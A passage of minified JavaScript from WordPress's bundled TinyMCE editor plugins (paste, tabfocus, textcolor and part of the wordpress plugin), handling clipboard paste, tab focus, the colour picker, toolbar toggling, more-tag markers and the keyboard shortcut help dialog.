v.Image;if(d.src=e.uri,u=t.settings,s=d,!u.images_dataimg_filter||u.images_dataimg_filter(s)){var m,p=t.editorUpload.blobCache,g=void 0;(m=p.findFirst(function(t){return t.base64()===c}))?g=m:(g=p.create(l,e.blob,c,f),p.add(g)),Tt(t,'<img src="'+g.blobUri()+'">',!1)}else Tt(t,'<img src="'+e.uri+'">',!1)}(e,t)})}),!0}return!1},It=function(t){return o.metaKeyPressed(t)&&86===t.keyCode||t.shiftKey&&45===t.keyCode},Ot=function(s,c,l){var e,f,d=(e=p(st.none()),{clear:function(){e.set(st.none())},set:function(t){e.set(st.some(t))},isSet:function(){return e.get().isSome()},on:function(t){e.get().each(t)}});function m(t,e,n,r){var o,i;kt(t,"text/html")?o=t["text/html"]:(o=c.getHtml(),r=r||w(o),c.isDefaultContent(o)&&(n=!0)),o=O.trimHtml(o),c.remove(),i=!1===r&&D(o),o.length&&!i||(n=!0),n&&(o=kt(t,"text/plain")&&i?t["text/plain"]:O.innerText(o)),c.isDefaultContent(o)?e||s.windowManager.alert("Please use Ctrl+V/Cmd+V keyboard shortcuts to paste contents."):n?Dt(s,o):Tt(s,o,r)}s.on("keydown",function(t){function e(t){It(t)&&!t.isDefaultPrevented()&&c.remove()}if(It(t)&&!t.isDefaultPrevented()){if((f=t.shiftKey&&86===t.keyCode)&&h.webkit&&-1!==v.navigator.userAgent.indexOf("Version/"))return;if(t.stopImmediatePropagation(),d.set(t),window.setTimeout(function(){d.clear()},100),h.ie&&f)return t.preventDefault(),void n(s,!0);c.remove(),c.create(),s.once("keyup",e),s.once("paste",function(){s.off("keyup",e)})}}),s.on("paste",function(t){var e,n,r,o=d.isSet(),i=(e=s,n=Ct(t.clipboardData||e.getDoc().dataTransfer),O.isMsEdge()?b.extend(n,{"text/html":""}):n),a="text"===l.get()||f,u=kt(i,x());f=!1,t.isDefaultPrevented()||(r=t.clipboardData,-1!==v.navigator.userAgent.indexOf("Android")&&r&&r.items&&0===r.items.length)?c.remove():Ft(i)||!Rt(s,t,c.getLastRng()||s.selection.getRng())?(o||t.preventDefault(),!h.ie||o&&!t.ieFake||kt(i,"text/html")||(c.create(),s.dom.bind(c.getEl(),"paste",function(t){t.stopPropagation()}),s.getDoc().execCommand("Paste",!1,null),i["text/html"]=c.getHtml()),kt(i,"text/html")?(t.preventDefault(),u||(u=w(i["text/html"])),m(i,o,a,u)):y.setEditorTimeout(s,function(){m(i,o,a,u)},0)):c.remove()})},St=function(t){return h.ie&&t.inline?v.document.body:t.getBody()},At=function(e,t,n){var r;St(r=e)!==r.getBody()&&e.dom.bind(t,"paste keyup",function(t){Lt(e,n)||e.fire("paste")})},jt=function(t){return t.dom.get("mcepastebin")},Mt=function(t,e){return e===t},Lt=function(t,e){var n,r=jt(t);return(n=r)&&"mcepastebin"===n.id&&Mt(e,r.innerHTML)},Nt=function(a){var u=p(null),s="%MCEPASTEBIN%";return{create:function(){return e=u,n=s,o=(t=a).dom,i=t.getBody(),e.set(t.selection.getRng()),r=t.dom.add(St(t),"div",{id:"mcepastebin","class":"mce-pastebin",contentEditable:!0,"data-mce-bogus":"all",style:"position: fixed; top: 50%; width: 10px; height: 10px; overflow: hidden; opacity: 0"},n),(h.ie||h.gecko)&&o.setStyle(r,"left","rtl"===o.getStyle(i,"direction",!0)?65535:-65535),o.bind(r,"beforedeactivate focusin focusout",function(t){t.stopPropagation()}),At(t,r,n),r.focus(),void t.selection.select(r,!0);var t,e,n,r,o,i},remove:function(){return function(t,e){if(jt(t)){for(var n=void 0,r=e.get();n=t.dom.get("mcepastebin");)t.dom.remove(n),t.dom.unbind(n);r&&t.selection.setRng(r)}e.set(null)}(a,u)},getEl:function(){return jt(a)},getHtml:function(){return function(n){var e,t,r,o,i,a=function(t,e){t.appendChild(e),n.dom.remove(e,!0)};for(t=b.grep(St(n).childNodes,function(t){return"mcepastebin"===t.id}),e=t.shift(),b.each(t,function(t){a(e,t)}),r=(o=n.dom.select("div[id=mcepastebin]",e)).length-1;0<=r;r--)i=n.dom.create("div"),e.insertBefore(i,o[r]),a(i,o[r]);return e?e.innerHTML:""}(a)},getLastRng:function(){return u.get()},isDefault:function(){return Lt(a,s)},isDefaultContent:function(t){return Mt(s,t)}}},Bt=function(n,t){var e=Nt(n);return n.on("preInit",function(){return Ot(a=n,e,t),void a.parser.addNodeFilter("img",function(t,e,n){var r,o=function(t){t.attr("data-mce-object")||u===h.transparentSrc||t.remove()};if(!a.settings.paste_data_images&&(r=n).data&&!0===r.data.paste)for(var i=t.length;i--;)(u=t[i].attributes.map.src)&&(0===u.indexOf("webkit-fake-url")?o(t[i]):a.settings.allow_html_data_urls||0!==u.indexOf("data:")||o(t[i]))});var a,u}),{pasteFormat:t,pasteHtml:function(t,e){return Tt(n,t,e)},pasteText:function(t){return Dt(n,t)},pasteImageData:function(t,e){return Rt(n,t,e)},getDataTransferItems:Ct,hasHtmlOrText:Ft,hasContentType:kt}},Ht=function(){},$t=function(t,e,n){if(r=t,!1!==h.iOS||r===undefined||"function"!=typeof r.setData||!0===O.isMsEdge())return!1;try{return t.clearData(),t.setData("text/html",e),t.setData("text/plain",n),t.setData(x(),e),!0}catch(o){return!1}var r},Wt=function(t,e,n,r){$t(t.clipboardData,e.html,e.text)?(t.preventDefault(),r()):n(e.html,r)},Ut=function(u){return function(t,e){var n=l(t),r=u.dom.create("div",{contenteditable:"false","data-mce-bogus":"all"}),o=u.dom.create("div",{contenteditable:"true"},n);u.dom.setStyles(r,{position:"fixed",top:"0",left:"-3000px",width:"1000px",overflow:"hidden"}),r.appendChild(o),u.dom.add(u.getBody(),r);var i=u.selection.getRng();o.focus();var a=u.dom.createRng();a.selectNodeContents(o),u.selection.setRng(a),setTimeout(function(){u.selection.setRng(i),r.parentNode.removeChild(r),e()},0)}},zt=function(t){return{html:t.selection.getContent({contextual:!0}),text:t.selection.getContent({format:"text"})}},Vt=function(t){return!t.selection.isCollapsed()||!!(e=t).dom.getParent(e.selection.getStart(),"td[data-mce-selected],th[data-mce-selected]",e.getBody());var e},Kt=function(t){var e,n;t.on("cut",(e=t,function(t){Vt(e)&&Wt(t,zt(e),Ut(e),function(){setTimeout(function(){e.execCommand("Delete")},0)})})),t.on("copy",(n=t,function(t){Vt(n)&&Wt(t,zt(n),Ut(n),Ht)}))},qt=tinymce.util.Tools.resolve("tinymce.dom.RangeUtils"),Gt=function(t,e){return qt.getCaretRangeFromPoint(e.clientX,e.clientY,t.getDoc())},Xt=function(t,e){t.focus(),t.selection.setRng(e)},Yt=function(a,u,s){g.shouldBlockDrop(a)&&a.on("dragend dragover draggesture dragdrop drop drag",function(t){t.preventDefault(),t.stopPropagation()}),g.shouldPasteDataImages(a)||a.on("drop",function(t){var e=t.dataTransfer;e&&e.files&&0<e.files.length&&t.preventDefault()}),a.on("drop",function(t){var e,n;if(n=Gt(a,t),!t.isDefaultPrevented()&&!s.get()){e=u.getDataTransferItems(t.dataTransfer);var r,o=u.hasContentType(e,x());if((u.hasHtmlOrText(e)&&(!(r=e["text/plain"])||0!==r.indexOf("file://"))||!u.pasteImageData(t,n))&&n&&g.shouldFilterDrop(a)){var i=e["mce-internal"]||e["text/html"]||e["text/plain"];i&&(t.preventDefault(),y.setEditorTimeout(a,function(){a.undoManager.transact(function(){e["mce-internal"]&&a.execCommand("Delete"),Xt(a,n),i=O.trimHtml(i),e["text/html"]?u.pasteHtml(i,o):u.pasteText(i)})}))}}}),a.on("dragstart",function(t){s.set(!0)}),a.on("dragover dragend",function(t){g.shouldPasteDataImages(a)&&!1===s.get()&&(t.preventDefault(),Xt(a,Gt(a,t))),"dragend"===t.type&&s.set(!1)})},Zt=function(t){var e=t.plugins.paste,n=g.getPreProcess(t);n&&t.on("PastePreProcess",function(t){n.call(e,e,t)});var r=g.getPostProcess(t);r&&t.on("PastePostProcess",function(t){r.call(e,e,t)})};function Jt(e,n){e.on("PastePreProcess",function(t){t.content=n(e,t.content,t.internal,t.wordContent)})}function Qt(t,e){if(!V.isWordContent(e))return e;var n=[];b.each(t.schema.getBlockElements(),function(t,e){n.push(e)});var r=new RegExp("(?:<br> [\\s\\r\\n]+|<br>)*(<\\/?("+n.join("|")+")[^>]*>)(?:<br> [\\s\\r\\n]+|<br>)*","g");return e=O.filter(e,[[r,"$1"]]),e=O.filter(e,[[/<br><br>/g,"<BR><BR>"],[/<br>/g," "],[/<BR><BR>/g,"<br>"]])}function te(t,e,n,r){if(r||n)return e;var c,o=g.getWebkitStyles(t);if(!1===g.shouldRemoveWebKitStyles(t)||"all"===o)return e;if(o&&(c=o.split(/[, ]/)),c){var l=t.dom,f=t.selection.getNode();e=e.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi,function(t,e,n,r){var o=l.parseStyle(l.decode(n)),i={};if("none"===c)return e+r;for(var a=0;a<c.length;a++){var u=o[c[a]],s=l.getStyle(f,c[a],!0);/color/.test(c[a])&&(u=l.toHex(u),s=l.toHex(s)),s!==u&&(i[c[a]]=u)}return(i=l.serializeStyle(i,"span"))?e+' style="'+i+'"'+r:e+r})}else e=e.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi,"$1$3");return e=e.replace(/(<[^>]+) data-mce-style="([^"]+)"([^>]*>)/gi,function(t,e,n,r){return e+' style="'+n+'"'+r})}function ee(n,t){n.$("a",t).find("font,u").each(function(t,e){n.dom.remove(e,!0)})}var ne=function(t){var e,n;h.webkit&&Jt(t,te),h.ie&&(Jt(t,Qt),n=ee,(e=t).on("PastePostProcess",function(t){n(e,t.node)}))},re=function(t,e,n){var r=n.control;r.active("text"===e.pasteFormat.get()),t.on("PastePlainTextToggle",function(t){r.active(t.state)})},oe=function(t,e){var n=function(r){for(var o=[],t=1;t<arguments.length;t++)o[t-1]=arguments[t];return function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];var n=o.concat(t);return r.apply(null,n)}}(re,t,e);t.addButton("pastetext",{active:!1,icon:"pastetext",tooltip:"Paste as text",cmd:"mceTogglePlainTextPaste",onPostRender:n}),t.addMenuItem("pastetext",{text:"Paste as text",selectable:!0,active:e.pasteFormat,cmd:"mceTogglePlainTextPaste",onPostRender:n})};e.add("paste",function(t){if(!1===a(t)){var e=p(!1),n=p(!1),r=p(g.isPasteAsTextEnabled(t)?"text":"html"),o=Bt(t,r),i=ne(t);return oe(t,o),c(t,o,e),Zt(t),Kt(t),Yt(t,o,n),u(o,i)}})}(window); // Source: wp-includes/js/tinymce/plugins/tabfocus/plugin.min.js !function(c){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),s=tinymce.util.Tools.resolve("tinymce.EditorManager"),a=tinymce.util.Tools.resolve("tinymce.Env"),y=tinymce.util.Tools.resolve("tinymce.util.Delay"),f=tinymce.util.Tools.resolve("tinymce.util.Tools"),d=tinymce.util.Tools.resolve("tinymce.util.VK"),m=function(e){return e.getParam("tab_focus",e.getParam("tabfocus_elements",":prev,:next"))},v=t.DOM,n=function(e){e.keyCode!==d.TAB||e.ctrlKey||e.altKey||e.metaKey||e.preventDefault()},i=function(r){function e(n){var i,o,e,l;if(!(n.keyCode!==d.TAB||n.ctrlKey||n.altKey||n.metaKey||n.isDefaultPrevented())&&(1===(e=f.explode(m(r))).length&&(e[1]=e[0],e[0]=":prev"),o=n.shiftKey?":prev"===e[0]?u(-1):v.get(e[0]):":next"===e[1]?u(1):v.get(e[1]))){var t=s.get(o.id||o.name);o.id&&t?t.focus():y.setTimeout(function(){a.webkit||c.window.focus(),o.focus()},10),n.preventDefault()}function u(e){function t(t){return/INPUT|TEXTAREA|BUTTON/.test(t.tagName)&&s.get(n.id)&&-1!==t.tabIndex&&function e(t){return"BODY"===t.nodeName||"hidden"!==t.type&&"none"!==t.style.display&&"hidden"!==t.style.visibility&&e(t.parentNode)}(t)}if(o=v.select(":input:enabled,*[tabindex]:not(iframe)"),f.each(o,function(e,t){if(e.id===r.id)return i=t,!1}),0<e){for(l=i+1;l<o.length;l++)if(t(o[l]))return o[l]}else for(l=i-1;0<=l;l--)if(t(o[l]))return o[l];return null}}r.on("init",function(){r.inline&&v.setAttrib(r.getBody(),"tabIndex",null),r.on("keyup",n),a.gecko?r.on("keypress keydown",e):r.on("keydown",e)})};e.add("tabfocus",function(e){i(e)})}(window); // Source: wp-includes/js/tinymce/plugins/textcolor/plugin.min.js !function(){"use strict";var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),n=function(t,o){var r;return t.dom.getParents(t.selection.getStart(),function(t){var e;(e=t.style["forecolor"===o?"color":"background-color"])&&(r=r||e)}),r},g=function(t){var e,o=[];for(e=0;e<t.length;e+=2)o.push({text:t[e+1],color:"#"+t[e]});return o},r=function(t,e,o){t.undoManager.transact(function(){t.focus(),t.formatter.apply(e,{value:o}),t.nodeChanged()})},e=function(t,e){t.undoManager.transact(function(){t.focus(),t.formatter.remove(e,{value:null},null,!0),t.nodeChanged()})},o=function(o){o.addCommand("mceApplyTextcolor",function(t,e){r(o,t,e)}),o.addCommand("mceRemoveTextcolor",function(t){e(o,t)})},F=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),i=tinymce.util.Tools.resolve("tinymce.util.Tools"),a=["000000","Black","993300","Burnt orange","333300","Dark olive","003300","Dark green","003366","Dark azure","000080","Navy Blue","333399","Indigo","333333","Very dark gray","800000","Maroon","FF6600","Orange","808000","Olive","008000","Green","008080","Teal","0000FF","Blue","666699","Grayish blue","808080","Gray","FF0000","Red","FF9900","Amber","99CC00","Yellow green","339966","Sea green","33CCCC","Turquoise","3366FF","Royal blue","800080","Purple","999999","Medium gray","FF00FF","Magenta","FFCC00","Gold","FFFF00","Yellow","00FF00","Lime","00FFFF","Aqua","00CCFF","Sky blue","993366","Red violet","FFFFFF","White","FF99CC","Pink","FFCC99","Peach","FFFF99","Light yellow","CCFFCC","Pale green","CCFFFF","Pale cyan","99CCFF","Light sky blue","CC99FF","Plum"],l=function(t){return t.getParam("textcolor_map",a)},c=function(t){return t.getParam("textcolor_rows",5)},u=function(t){return t.getParam("textcolor_cols",8)},m=function(t){return t.getParam("color_picker_callback",null)},s=function(t){return t.getParam("forecolor_map",l(t))},d=function(t){return t.getParam("backcolor_map",l(t))},f=function(t){return t.getParam("forecolor_rows",c(t))},b=function(t){return t.getParam("backcolor_rows",c(t))},p=function(t){return t.getParam("forecolor_cols",u(t))},C=function(t){return t.getParam("backcolor_cols",u(t))},y=m,v=function(t){return"function"==typeof m(t)},h=tinymce.util.Tools.resolve("tinymce.util.I18n"),P=function(t,e,o,r){var n,a,l,c,i,u,m,s=0,d=F.DOM.uniqueId("mcearia"),f=function(t,e){var o="transparent"===t;return'<td class="mce-grid-cell'+(o?" mce-colorbtn-trans":"")+'"><div id="'+d+"-"+s+++'" data-mce-color="'+(t||"")+'" role="option" tabIndex="-1" style="'+(t?"background-color: "+t:"")+'" title="'+h.translate(e)+'">'+(o?"×":"")+"</div></td>"};for((n=g(o)).push({text:h.translate("No color"),color:"transparent"}),l='<table class="mce-grid mce-grid-border mce-colorbutton-grid" role="list" cellspacing="0"><tbody>',c=n.length-1,u=0;u<e;u++){for(l+="<tr>",i=0;i<t;i++)l+=c<(m=u*t+i)?"<td></td>":f((a=n[m]).color,a.text);l+="</tr>"}if(r){for(l+='<tr><td colspan="'+t+'" class="mce-custom-color-btn"><div id="'+d+'-c" class="mce-widget mce-btn mce-btn-small mce-btn-flat" role="button" tabindex="-1" aria-labelledby="'+d+'-c" style="width: 100%"><button type="button" role="presentation" tabindex="-1">'+h.translate("Custom...")+"</button></div></td></tr>",l+="<tr>",i=0;i<t;i++)l+=f("","Custom color");l+="</tr>"}return l+="</tbody></table>"},k=function(t,e){t.style.background=e,t.setAttribute("data-mce-color",e)},x=function(o){return function(t){var e=t.control;e._color?o.execCommand("mceApplyTextcolor",e.settings.format,e._color):o.execCommand("mceRemoveTextcolor",e.settings.format)}},T=function(r,c){return function(t){var e,a=this.parent(),o=n(r,a.settings.format),l=function(t){r.execCommand("mceApplyTextcolor",a.settings.format,t),a.hidePanel(),a.color(t)};F.DOM.getParent(t.target,".mce-custom-color-btn")&&(a.hidePanel(),y(r).call(r,function(t){var e,o,r,n=a.panel.getEl().getElementsByTagName("table")[0];for(e=i.map(n.rows[n.rows.length-1].childNodes,function(t){return t.firstChild}),r=0;r<e.length&&(o=e[r]).getAttribute("data-mce-color");r++);if(r===c)for(r=0;r<c-1;r++)k(e[r],e[r+1].getAttribute("data-mce-color"));k(o,t),l(t)},o)),(e=t.target.getAttribute("data-mce-color"))?(this.lastId&&F.DOM.get(this.lastId).setAttribute("aria-selected","false"),t.target.setAttribute("aria-selected",!0),this.lastId=t.target.id,"transparent"===e?(r.execCommand("mceRemoveTextcolor",a.settings.format),a.hidePanel(),a.resetColor()):l(e)):null!==e&&a.hidePanel()}},_=function(n,a){return function(){var t=a?p(n):C(n),e=a?f(n):b(n),o=a?s(n):d(n),r=v(n);return P(t,e,o,r)}},A=function(t){t.addButton("forecolor",{type:"colorbutton",tooltip:"Text color",format:"forecolor",panel:{role:"application",ariaRemember:!0,html:_(t,!0),onclick:T(t,p(t))},onclick:x(t)}),t.addButton("backcolor",{type:"colorbutton",tooltip:"Background color",format:"hilitecolor",panel:{role:"application",ariaRemember:!0,html:_(t,!1),onclick:T(t,C(t))},onclick:x(t)})};t.add("textcolor",function(t){o(t),A(t)})}(); // Source: wp-includes/js/tinymce/plugins/wordpress/plugin.min.js !function(k){(!k.ui.FloatPanel.zIndex||k.ui.FloatPanel.zIndex<100100)&&(k.ui.FloatPanel.zIndex=100100),k.PluginManager.add("wordpress",function(p){var a,t,E=k.DOM,m=k.each,u=p.editorManager.i18n.translate,i=window.jQuery,o=window.wp,r=o&&o.editor&&o.editor.autop&&p.getParam("wpautop",!0),s=!1;function e(n){var e,t,o=0,i=k.$(".block-library-classic__toolbar");"hide"===n?e=!0:i.length&&!i.hasClass("has-advanced-toolbar")&&(i.addClass("has-advanced-toolbar"),n="show"),(t=p.theme.panel?p.theme.panel.find(".toolbar:not(.menubar)"):t)&&1<t.length&&(!n&&t[1].visible()&&(n="hide"),m(t,function(e,t){0<t&&("hide"===n?(e.hide(),o+=34):(e.show(),o-=34))})),o&&!k.Env.iOS&&p.iframeElement&&p.iframeElement.clientHeight&&50<(i=p.iframeElement.clientHeight+o)&&E.setStyle(p.iframeElement,"height",i),e||("hide"===n?(setUserSetting("hidetb","0"),a&&a.active(!1)):(setUserSetting("hidetb","1"),a&&a.active(!0))),p.fire("wp-toolbar-toggle")}function d(e){var t,o,i,n=p.translate(e);return s||(o="Shift+Alt+",i="Ctrl+",s={},k.Env.mac&&(o="\u2303\u2325",i="\u2318"),p.settings.wp_shortcut_labels&&m(p.settings.wp_shortcut_labels,function(e,t){var n=p.translate(t);e=e.replace("access",o).replace("meta",i),s[t]=e,t!==n&&(s[n]=e)})),s.hasOwnProperty(n)?t=s[n]:s.hasOwnProperty(e)&&(t=s[e]),t?n+" ("+t+")":n}function n(){}return i&&i(document).triggerHandler("tinymce-editor-setup",[p]),p.addButton("wp_adv",{tooltip:"Toolbar Toggle",cmd:"WP_Adv",onPostRender:function(){(a=this).active("1"===getUserSetting("hidetb"))}}),p.on("PostRender",function(){p.getParam("wordpress_adv_hidden",!0)&&"0"===getUserSetting("hidetb","0")?e("hide"):k.$(".block-library-classic__toolbar").addClass("has-advanced-toolbar")}),p.addCommand("WP_Adv",function(){e()}),p.on("focus",function(){window.wpActiveEditor=p.id}),p.on("BeforeSetContent",function(e){var n;e.content&&(-1!==e.content.indexOf("\x3c!--more")&&(n=u("Read more..."),e.content=e.content.replace(/<!--more(.*?)-->/g,function(e,t){return'<img src="'+k.Env.transparentSrc+'" data-wp-more="more" data-wp-more-text="'+t+'" class="wp-more-tag mce-wp-more" alt="'+n+'" data-mce-resize="false" data-mce-placeholder="1" />'})),-1!==e.content.indexOf("\x3c!--nextpage--\x3e")&&(n=u("Page break"),e.content=e.content.replace(/<!--nextpage-->/g,'<img src="'+k.Env.transparentSrc+'" data-wp-more="nextpage" class="wp-more-tag mce-wp-nextpage" alt="'+n+'" data-mce-resize="false" data-mce-placeholder="1" />')),e.load&&"raw"!==e.format&&(e.content=r?o.editor.autop(e.content):e.content.replace(/-->\s+<!--/g,"--\x3e\x3c!--")),-1===e.content.indexOf("<script")&&-1===e.content.indexOf("<style")||(e.content=e.content.replace(/<(script|style)[^>]*>[\s\S]*?<\/\1>/g,function(e,t){return'<img src="'+k.Env.transparentSrc+'" data-wp-preserve="'+encodeURIComponent(e)+'" data-mce-resize="false" data-mce-placeholder="1" class="mce-object mce-object-'+t+'" width="20" height="20" alt="<'+t+'>" />'})))}),p.on("setcontent",function(){p.$("p").each(function(e,t){var n;t.innerHTML&&t.innerHTML.length<10&&((n=k.trim(t.innerHTML))&&" "!==n||(t.innerHTML=k.Env.ie&&k.Env.ie<11?"":'<br data-mce-bogus="1">'))})}),p.on("PostProcess",function(e){e.get&&(e.content=e.content.replace(/<img[^>]+>/g,function(e){var t,n,o="";return-1!==e.indexOf('data-wp-more="more"')?n="\x3c!--more"+(o=(t=e.match(/data-wp-more-text="([^"]+)"/))?t[1]:o)+"--\x3e":-1!==e.indexOf('data-wp-more="nextpage"')?n="\x3c!--nextpage--\x3e":-1!==e.indexOf("data-wp-preserve")&&(t=e.match(/ data-wp-preserve="([^"]+)"/))&&(n=decodeURIComponent(t[1])),n||e}))}),p.on("ResolveName",function(e){var t;"IMG"===e.target.nodeName&&(t=p.dom.getAttrib(e.target,"data-wp-more"))&&(e.name=t)}),p.addCommand("WP_More",function(e){var t,n="wp-more-tag",o=p.dom,i=p.selection.getNode(),a=p.getBody();n+=" mce-wp-"+(e=e||"more"),t=u("more"===e?"Read more...":"Next page"),t='<img src="'+k.Env.transparentSrc+'" alt="'+t+'" class="'+n+'" data-wp-more="'+e+'" data-mce-resize="false" data-mce-placeholder="1" />',i===a||"P"===i.nodeName&&i.parentNode===a?p.insertContent(t):(n=o.getParent(i,function(e){return!(!e.parentNode||e.parentNode!==a)},p.getBody()))&&("P"===n.nodeName?n.appendChild(o.create("p",null,t).firstChild):o.insertAfter(o.create("p",null,t),n),p.nodeChanged())}),p.addCommand("WP_Code",function(){p.formatter.toggle("code")}),p.addCommand("WP_Page",function(){p.execCommand("WP_More","nextpage")}),p.addCommand("WP_Help",function(){var e,t=k.Env.mac?u("Ctrl + Alt + letter:"):u("Shift + Alt + letter:"),n=k.Env.mac?u("\u2318 + letter:"):u("Ctrl + letter:"),o=[],i=[],a={},r={},s=0,d=0,l=p.settings.wp_shortcut_labels;function c(e,t){var n="<tr>",o=0;for(t=t||1,m(e,function(e,t){n+="<td><kbd>"+t+"</kbd></td><td>"+u(e)+"</td>",o++});o<t;)n+="<td></td><td></td>",o++;return n+"</tr>"}l&&(m(l,function(e,t){var n;-1!==e.indexOf("meta")?(s++,(n=e.replace("meta","").toLowerCase())&&(a[n]=t,s%2==0)&&(o.push(c(a,2)),a={})):-1!==e.indexOf("access")&&(d++,n=e.replace("access","").toLowerCase())&&(r[n]=t,d%2==0)&&(i.push(c(r,2)),r={})}),0<s%2&&o.push(c(a,2)),0<d%2&&i.push(c(r,2)),l="<tr><th>"+(l=[u("Letter"),u("Action"),u("Letter"),u("Action")]).join("</th><th>")+"</th></tr>",e=(e='<div class="wp-editor-help">')+"<h2>"+u("Default shortcuts,")+" "+n+'</h2><table class="wp-help-th-center fixed">'+l+o.join("")+"</table><h2>"+u("Additional shortcuts,")+" "+t+'</h2><table class="wp-help-th-center fixed">'+l+i.join("")+"</table>",e=(e=p.plugins.wptextpattern&&(!k.Env.ie||8<k.Env.ie)?(e=e+"<h2>"+u("When starting a new paragraph with one of these formatting shortcuts followed by a space, the formatting will be applied automatically. Press Backspace or Escape to undo.")+'</h2><table class="wp-help-th-center fixed">'+c({"*":"Bullet list","1.":"Numbered list"})+c({"-":"Bullet list","1)":"Numbered list"})+"</table>")+"<h2>"+u("The following formatting shortcuts are replaced when pressing Enter. Press Escape or the Undo button to undo.")+'</h2><table class="wp-help-single">'+c({">":"Blockquote"})+c({"##":"Heading 2"})+c({"###":"Heading 3"})+c({"####":"Heading 4"})+c({"#####":"Heading 5"})+c({"######":"Heading 6"})+c({"---":"Horizontal line"})+"</table>":e)+"<h2>"+u("Focus shortcuts:")+'</h2><table class="wp-help-single">'+c({"Alt + F8":"Inline toolbar (when an image, link or preview is selected)"})+c({"Alt + F9":"Editor menu (when enabled)"})+c({"Alt + F10":"Editor toolbar"})+c({"Alt + F11":"Elements path"})+"</table><p>"+u("To move focus to other buttons use Tab or the arrow keys. To return focus to the editor press Escape or use one of the buttons.")+"</p>",(n=p.windowManager.open({title:p.settings.classic_block_editor?"Classic Block Keyboard Shortcuts":"Keyboard Shortcuts",items:{type:"container",classes:"wp-help",html:e+="</div>"},buttons:{text:"Close",onclick:"close"}})).$el)&&(n.$el.find('div[role="application"]').attr("role","document"),(t=n.$el.find(".mce-wp-help"))[0])&&(t.attr("tabindex","0"),t[0].focus(),t.on("keydown",function(e){33<=e.keyCode&&e.keyCode<=40&&e.stopPropagation()}))}),p.addCommand("WP_Medialib",function(){o&&o.media&&o.media.editor&&o.media.editor.open(p.id)}),p.addButton("wp_more",{tooltip:"Insert Read More tag",onclick:function(){p.execCommand("WP_More","more")}}),p.addButton("wp_page",{tooltip:"Page break",onclick:function(){p.execCommand("WP_More","nextpage")}}),p.addButton("wp_help",{tooltip:"Keyboard Shortcuts",cmd:"WP_Help"}),p.addButton("wp_code",{tooltip:"Code",cmd:"WP_Code",stateSelector:"code"}),o&&o.media&&o.media.editor&&(p.addButton("wp_add_media",{tooltip:"Add Media",icon:"dashicon dashicons-admin-media",cmd:"WP_Medialib"}),p.addMenuItem("add_media",{text:"Add Media",icon:"wp-media-library",context:"insert",cmd:"WP_Medialib"})),p.addMenuItem("wp_more",{text:"Insert Read More tag",icon:"wp_more",context:"insert",onclick:function(){p.execCommand("WP_More","more")}}),p.addMenuItem("wp_page",{text:"Page break",icon:"wp_page",context:"insert",onclick:function(){p.execCommand("WP_More","nextpage")}}),p.on("BeforeExecCommand",function(e){!k.Env.webkit||"InsertUnorderedList"!==e.command&&"InsertOrderedList"!==e.command||(t=t||p.dom.create("style",{type:"text/css"},"#tinymce,#tinymce span,#tinymce li,#tinymce li>span,#tinymce p,#tinymce p>span{font:medium sans-serif;color:#000;line-height:normal;}"),p.getDoc().head.appendChild(t))}),p.on("ExecCommand",function(e){k.Env.webkit&&t&&("InsertUnorderedList"===e.command||"InsertOrderedList"===e.command)&&p.dom.remove(t)}),p.on("init",function(){var e=k.Env,t=["mceContentBody"],n=p.getDoc(),o=p.dom;e.iOS&&o.addClass(n.documentElement,"ios"),"rtl"===p.getParam("directionality")&&(t.push("rtl"),o.setAttrib(n.documentElement,"dir","rtl")),o.setAttrib(n.documentElement,"lang",p.getParam("wp_lang_attr")),e.ie?9===parseInt(e.ie,10)?t.push("ie9"):8===parseInt(e.ie,10)?t.push("ie8"):e.ie<8&&t.push("ie7"):e.webkit&&t.push("webkit"),t.push("wp-editor"),m(t,function(e){e&&o.addClass(n.body,e)}),p.on("BeforeSetContent",function(e){e.content&&(e.content=e.content.replace(/<p>\s*<(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre)( [^>]*)?>/gi,"<$1$2>").replace(/<\/(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre)>\s*<\/p>/gi,"</$1>"))}),i&&i(function(){i(document).triggerHandler("tinymce-editor-init",[p])}),window.tinyMCEPreInit&&window.tinyMCEPreInit.dragDropUpload&&o.bind(n,"dragstart dragend dragover drop",function(e){i&&i(document).trigger(new i.Event(e))}),p.getParam("wp_paste_filters",!0)&&(p.on("PastePreProcess",function(e){e.content=e.content.replace(/<br class="?Apple-interchange-newline"?>/gi,""),k.Env.webkit||(e.content=e.content.replace(/(<[^>]+) style="[^"]*"([^>]*>)/gi,"$1$2"),e.content=e.content.replace(/(<[^>]+) data-mce-style=([^>]+>)/gi,"$1 style=$2"))}),p.on("PastePostProcess",function(e){p.$("p",e.node).each(function(e,t){o.isEmpty(t)&&o.remove(t)}),k.isIE&&p.$("a",e.node).find("font, u").each(function(e,t){o.remove(t,!0)})}))}),p.on("SaveContent",function(e){!p.inline&&p.isHidden()?e.content=e.element.value:(e.content=e.content.replace(/<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g,"<p> </p>"),e.content=r?o.editor.removep(e.content):e.content.replace(/-->\s*<!-- wp:/g,"--\x3e\n\n\x3c!-- wp:"))}),p.on("preInit",function(){p.schema.addValidElements("@[id|accesskey|class|dir|lang|style|tabindex|title|contenteditable|draggable|dropzone|hidden|spellcheck|translate],i,b,script[src|async|defer|type|charset|crossorigin|integrity]"),k.Env.iOS&&(p.settings.height=300),m({c:"JustifyCenter",r:"JustifyRight",l:"JustifyLeft",j:"JustifyFull",q:"mceBlockQuote",u:"InsertUnorderedList",o:"InsertOrderedList",m:"WP_Medialib",t:"WP_More",d:"Strikethrough",p:"WP_Page",x:"WP_Code"},function(e,t){p.shortcuts.add("access+"+t,"",e)}),p.addShortcut("meta+s","",function(){o&&o.autosave&&o.autosave.server.triggerSave()}),p.settings.classic_block_editor||p.addShortcut("access+z","","WP_Adv"),p.on("keydown",function(e){var 